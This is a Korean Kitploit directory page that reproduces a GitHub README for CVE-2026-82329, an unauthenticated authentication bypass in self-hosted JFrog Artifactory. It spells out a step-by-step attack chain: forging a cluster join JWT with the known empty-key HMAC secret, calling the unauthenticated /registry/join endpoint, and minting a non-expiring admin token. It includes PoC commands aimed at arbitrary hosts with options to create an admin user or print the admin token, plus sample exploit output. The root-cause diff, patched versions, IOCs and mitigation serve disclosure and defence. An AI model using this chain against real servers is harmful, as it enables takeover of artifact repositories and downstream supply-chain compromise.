Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2026-82329-jfrog-artifactory — # CVE-2026-82329 재현 가능한 Docker 랩 및 Python PoC JFrog Artifactory의 인증되지 않은 인증 우회(auth-bypass) 취약점으로 관리자 계정 탈취로 이어지는 CVE-2026-82329에 대한 재현 가능한 Docker 랩과 Python PoC로, 패치 차이 분석 및 탐지 가이드를 포함합니다. | Kitploit
도구/GitHubGitHub/dinosn/cve-2026-82329-jfrog-artifactory
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCloud SecurityAuthenticationPapers & ResearchLabs & Practice
GitHub
dinosn/cve-2026-82329-jfrog-artifactory

cve-2026-82329-jfrog-artifactory

# CVE-2026-82329 재현 가능한 Docker 랩 및 Python PoC JFrog Artifactory의 인증되지 않은 인증 우회(auth-bypass) 취약점으로 관리자 계정 탈취로 이어지는 CVE-2026-82329에 대한 재현 가능한 Docker 랩과 Python PoC로, 패치 차이 분석 및 탐지 가이드를 포함합니다.

저장소 보기
1114시간 33분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-82329 — JFrog Artifactory 인증 우회 → 관리자 탈취

CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) · CWE-287 · 2026-08-28 공개 · 실제 공격에서 악용됨.

인증되지 않은 네트워크 인접 공격자가 기본 자체 호스팅 JFrog Artifactory에 대해 플랫폼 관리자 액세스 토큰을 발급합니다. 이 디렉터리에는 재현 가능한 Docker 랩과 URL 매개변수화된 검증 PoC가 포함되어 있습니다.

artifactory-oss 7.161.19(취약, JFrog Access 7.191.11) 대 7.161.20(패치됨, JFrog Access 7.191.14)에서 재현 및 A/B 검증되었습니다.

근본 원인은 공급업체 패치 자체에서 도출되었으며(두 컨테이너 이미지 간 폐쇄 소스 JFrog Access 서비스의 바이트코드 diff), 이후 실시간으로 입증되었습니다 — 제3자 분석 자료에서 가져온 것이 아닙니다.


TL;DR 공격 체인 (모두 인증 없음)

  1. 클러스터 "join" JWT 위조. JFrog Access는 플랫폼 join key를 HMAC 비밀로 사용하여 join JWT를 검증합니다. 버그로 인해 기본 설치 시 신뢰된 검증기 집합에 빈 join key가 남습니다. getSigningKey("") = pkcs7(<empty>, 32) = 32바이트의 0x20 — 완전히 알려진 비밀입니다. 따라서 누구나 유효한 join JWT(alg=HS256, , 새 , 임의의 , )에 서명할 수 있습니다.
kid = SHA256("")
iat
service_id
skip_node_registration=true
  • POST /access/api/v1/registry/join (RegistryNoAuthResource — 인증 없음) → HTTP 201, admin 범위(audience = Access)의 SERVICE 토큰 반환.
  • 해당 토큰으로 POST /access/api/v1/tokens, scope=applied-permissions/admin&audience=* → 전체 관리자 플랫폼 액세스 토큰(실제 공격에서 보고된 "관리자 토큰 발급" 동작).
  • 사용 — 전체 서버 구성을 읽고, 모든 액세스 토큰을 나열/탈취하며, Pro/Enterprise에서는 관리자 사용자, 저장소 등을 생성할 수 있습니다.
  • root@kitploit:~
    $ python3 poc/cve_2026_82329_poc.py http://TARGET:8082
    [+] Step 1  /registry/join           -> HTTP 201  SERVICE 토큰 발급 (scp=admin)
    [+] Step 2  /access/api/v1/tokens    -> HTTP 200  ADMIN 토큰 (scp=applied-permissions/admin, aud=*)
    [+] Step 3  관리자 권한 증명:
          GET /artifactory/api/system/configuration -> HTTP 200 (18284바이트, 관리자 전용; 인증 없음=401)
          GET /access/api/v1/tokens (모든 토큰 나열) -> HTTP 200 (관리자 전용)
    [=] 취약 - 인증되지 않은 공격자가 이 인스턴스에서 ADMIN 권한 획득 (CVE-2026-82329).
    

    근본 원인 (패치 diff에서)

    JFrog Access 7.191.11 → 7.191.14는 정확히 12개 클래스를 변경했습니다. 보안 관련 변경 사항:

    1. 빈 join key가 조용히 신뢰됨 — JoinKeyAccess.tryResolveJoinKeys()

    root@kitploit:~
    // 취약 (7.191.11)
    Arrays.stream(joinKey.get().split(",")).map(String::trim).forEach(jKey -> {
        JoinKeyHashPair hashPair = new JoinKeyHashPair(jKey);            // jKey == "" 허용
        joinKeyListValuesForContext.put(hashPair.getHash(), hashPair);   // 빈 키가 신뢰 집합에 추가됨
        log.warn("Adding join key with kid: {} to additional join keys", hashPair.getHash());
    });
    
    // 패치됨 (7.191.14)  -> 빈 항목 필터링됨
    Arrays.stream(joinKey.get().split(",")).map(String::trim)
          .filter(Strings::isNotBlank)
          .forEach(...);
    

    추가 join key가 구성되지 않은 경우(기본값), 구성 값은 ""입니다. "".split(",")는 [""]를 생성하므로 빈 JoinKeyHashPair(kid = SHA256("") = e3b0c442…b855)가 신뢰된 "추가 join keys" 맵에 들어갑니다. JoinKeyHashPair도 생성자에서 null/빈 값을 거부하도록 강화되었습니다.

    실제 기본 인스턴스에서 확인됨 — 서버 시작 로그:

    root@kitploit:~
    o.j.a.s.s.JoinKeyAccess - Adding join key with kid:
        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 to additional join keys
    

    해당 kid는 정확히 SHA256("")입니다.

    2. 빈 join key는 알려진 HMAC 비밀 — JoinKeyUtils.getSigningKey()

    root@kitploit:~
    public static byte[] getSigningKey(String hexEncodedKey) { return hexDecodeAndPad(hexEncodedKey, 32); }
    // 빈 키의 pkcs7 패딩: padLength = 32  ->  32바이트, 각각 == (byte)32 == 0x20
    

    따라서 빈 키의 join JWT는 32바이트의 0x20에 대한 HS256 으로 서명됩니다 — 공격자가 알고 있는 값입니다.

    3. 인증 없는 join 엔드포인트가 관리자 토큰 발급

    RegistryNoAuthResource (@Path("/v1/registry"), @Authorized 없음):

    root@kitploit:~
    @POST @Path("join")
    public Response join(String jwtStr) {                    // body = 원시 JWT
        JwtToken token = this.joinService.join(jwtStr, ...); // 검증: 새 iat (<30초) + join-key 서명
        return Response.status(CREATED).entity(new JoinResponseModel(token.getTokenValue())).build();
    }
    

    JoinServiceImpl → ServiceTokenProviderImpl.getToken():

    root@kitploit:~
    TokenSpec tokenSpec = TokenSpec.create().audience(accessServiceId)
        .subject(serviceId).owner(serviceId).scope("admin").expiresIn(0L).refreshable(false);
    return tokenService.createInternalTokenWithoutAuthAndNotify(tokenSpec).getAccessToken();
    

    만료되지 않는 admin 범위의 RSA 서명 액세스 토큰입니다. 그런 다음 scope("admin") 서비스 토큰은 POST /access/api/v1/tokens를 통해 전체 applied-permissions/admin 사용자 토큰을 발급할 수 있습니다.

    4. 강화 조치 확인 — ProjectResource

    두 엔드포인트가 @Authorized(AuthorizationType.SERVICE) → @Authorized(AuthorizationType.ADMIN)으로 변경되었습니다(GET/DELETE {projectKey}/resources). 이는 악용 프리미티브가 위조된 SERVICE ID이며 SERVICE 권한 표면이 과도하게 노출되었음을 확인합니다.


    영향 / 수정 버전

    자체 호스팅 전용(클라우드는 이미 패치됨). 아래 각 브랜치의 마지막 릴리스까지 취약하며, 해당 수정 버전으로 업그레이드하세요:

    브랜치취약 ≤수정
    7.1117.111.207.111.21
    7.1177.117.277.117.28
    7.1257.125.197.125.20
    7.1337.133.287.133.29
    7.1467.146.377.146.38
    7.1617.161.197.161.20

    수정 사항은 JFrog Access 7.191.14에 포함되어 있습니다.


    재현 (랩)

    lab/README.md 참조. 요약:

    root@kitploit:~
    cd lab
    ART_VER=7.161.19 docker compose up -d          # 취약(기본값); 약 3-4분 대기
    until curl -sf http://localhost:8082/access/api/v1/system/ping >/dev/null; do sleep 5; done
    python3 ../poc/cve_2026_82329_poc.py http://localhost:8082      # -> 취약
    
    docker compose down
    ART_VER=7.161.20 docker compose up -d          # 패치된 대조군
    python3 ../poc/cve_2026_82329_poc.py http://localhost:8082      # -> 취약하지 않음 (join HTTP 400)
    

    Artifactory 7.161.x는 PostgreSQL이 필요합니다(Access 서비스가 번들된 Derby를 거부함). 따라서 랩에는 postgres 사이드카가 포함되어 있습니다.


    실제 대상 검증

    root@kitploit:~
    python3 poc/cve_2026_82329_poc.py http://<artifactory-host>:8082
    python3 poc/cve_2026_82329_poc.py http://<host>:8082 --create-admin evil:P@ssw0rd1   # Pro/Ent 상태 변경
    python3 poc/cve_2026_82329_poc.py http://<host>:8082 --token-only                     # 관리자 토큰 출력
    

    JFrog Router를 프런트엔드로 하는 모든 대상(/access/… 접근 가능)에 대해 실행하세요. 취약(관리자 획득) 또는 취약하지 않음(join 거부)을 보고합니다. 테스트 권한이 있는 시스템에서만 실행하세요.


    탐지 / IOCs

    • Access 요청 로그: 클러스터 외부 호스트의 POST /access/api/v1/registry/join, 특히 직후에 POST /access/api/v1/tokens가 이어지는 경우.
    • Access 서비스 로그: Adding join key with kid: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 … 줄은 빈 join key가 신뢰됨을 의미합니다(패치되지 않은 기본값에 존재).
    • Access 감사 / 토큰 저장소: scope=applied-permissions/admin, audience=*의 예상치 못한 만료되지 않는 토큰 또는 서비스 주체 관리자 토큰(sub=<svc>, scp=admin, aud=<access-id>).
    • kid 클레임이 SHA256("")(e3b0c442…b855)과 일치하는 join JWT.

    해결 방법

    브랜치에 맞는 수정 버전으로 업그레이드하세요(위 표 참조). 추가로: Artifactory를 신뢰할 수 없는 네트워크에 /access/api/v1/registry/**를 노출하지 않는 리버스 프록시 뒤에 배치하고, 패치 후 join key를 교체하고 예상치 못한 관리자 토큰을 폐기하세요.


    이 디렉터리의 아티팩트: poc/(검증기), lab/(Docker 랩), analysis/(패치 diff + 디컴파일 증거), EVIDENCE.md(캡처된 실행 출력). 승인된 보안 연구용으로만 사용하세요.

    도구 다운로드